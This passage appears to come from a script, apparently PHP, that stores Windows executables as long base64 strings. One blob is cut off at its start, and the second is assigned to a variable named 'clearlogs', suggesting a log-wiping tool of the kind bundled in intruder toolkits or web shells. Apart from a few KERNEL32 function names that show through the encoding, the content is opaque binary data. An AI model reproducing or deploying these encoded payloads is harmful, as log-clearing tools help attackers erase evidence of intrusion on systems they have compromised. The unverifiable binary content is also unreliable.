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CJAEAEiQBAAgiAQBAJAEAViQBAHAkAQCGJAEAniQBALgkAQDSJAEA3iQBAOgkAQD0JAEAACUBABAlAQAgJQEAMCUBAEAlAQBUJQEAYiUBAHIlAQCCJQEAlCUBAKYlAQC4JQEAyCUBANYlAQDiJQEA8iUBAAQmAQAAAAAAiABGb3JtYXRNZXNzYWdlQQAAggFMb2NhbEZyZWUAWQFIZWFwRnJlZQAArgFSYWlzZUV4Y2VwdGlvbgAAUwFIZWFwQWxsb2MAxwFSdGxVbndpbmQAQgJXaWRlQ2hhclRvTXVsdGlCeXRlAOEAR2V0TGFzdEVycm9yAABiAEV4aXRQcm9jZXNzAB0CVGVybWluYXRlUHJvY2VzcwAAxABHZXRDdXJyZW50UHJvY2VzcwCfAEdldENvbW1hbmRMaW5lQQA3AUdldFZlcnNpb24AAFUBSGVhcENyZWF0ZQAAZAFJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAEQARGVsZXRlQ3JpdGljYWxTZWN0aW9uAE8ARW50ZXJDcml0aWNhbFNlY3Rpb24AAHcBTGVhdmVDcml0aWNhbFNlY3Rpb24AABECU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAMcAR2V0Q3VycmVudFRocmVhZElkAAAiAlRsc1NldFZhbHVlAB8CVGxzQWxsb2MAAP0BU2V0TGFzdEVycm9yAAAhAlRsc0dldFZhbHVlALgBUmVhZEZpbGUAAPgBU2V0RmlsZVBvaW50ZXIAABYAQ2xvc2VIYW5kbGUA+gFTZXRIYW5kbGVDb3VudAAA3ABHZXRGaWxlVHlwZQAWAUdldFN0ZEhhbmRsZQAAFAFHZXRTdGFydHVwSW5mb0EAJgJVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAOkAR2V0TW9kdWxlRmlsZU5hbWVBAACLAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NBAJMBTXVsdGlCeXRlVG9XaWRlQ2hhcgDQAEdldEVudmlyb25tZW50U3RyaW5ncwCMAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANIAR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAmABHZXRDUEluZm8AkgBHZXRBQ1AAAPYAR2V0T0VNQ1AAAE8CV3JpdGVGaWxlAGwBSXNCYWRSZWFkUHRyAAB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eOqU6rjoAO0k7UDtlO2s7lTubO6U7qzu1O7s7RjxLPGw8cjzYPNw84DzkPOg87DzwPPQ8JT1lPfU9Hz41PlQ+iz4AAADAAAAUAAAAgjCpMAAxCTFpMQAAAOAAAIAAAAAAMQQxLDEwMTwxQDFQMVgxXDFkMWgxdDF4MQg1EDUUNSA1KDUsNXw8gDyUPJg8oDy8PNw87Dz0PBQ9JD0wPTg9aD18PYg9kD2sPbQ90D3cPeQ98D34PRQ+MD48PkQ+UD5YPnQ+kD6cPqQ+sD64PtQ+8D78PgQ/AAAA8AAAWAAAAAQwEDAUMCAwODBIMCw0MDQ4NFA00DXYNaw4xDjkOPQ4BDmIOZg5oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw50DnUOdg53DkwOzQ7YDtkOwAAAAABACACAAAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDD4MAAxCDEQMRgxIDEoMTAxODFAMUgxUDFYMWAxaDFwMXgxgDGIMZAxmDGgMagxsDG4McAxyDHQMdgx4DHoMfAx+DEAMggyEDIYMiAyKDIwMjgyQDJIMlAyWDJgMmgycDJ4MoAyiDKQMpgyoDKoMrAyuDLAMsgy0DLYMuAy6DLwMvgyADMIMxAzGDMgMygzMDM4M0AzSDNQM1gzYDNoM3AzeDOAM4gzkDOYM6AzqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNfg1ADYINhA2GDYgNig2MDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbwOPQ4+Dj8OAA5BDkwOTQ5ODk8OUA5RDlIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYg5jDmQOZQ5mDmcOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw58Dn0Ofg5/DkAOgQ6CDoMOhA6FDogOuA65DoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";$clearlogs = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB12cLfMbisjDG4rIwxuKyM2aenjDC4rIyypKKMOrisjFOnv4w0uKyMMbitjB+4rIzZp6aMGrisjFJpY2gxuKyMAAAAAAAAAABQRQAATAEDAEe3XzwAAAAAAAAAAOAADwELAQYAAEAAAABAAAAAAAAADhYAAAAQAAAAUAAAAABAAAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAACQAAAAEAAAAAAAAAMAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJxUAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAABj8AAAAQAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALAIAAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAADcIQAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA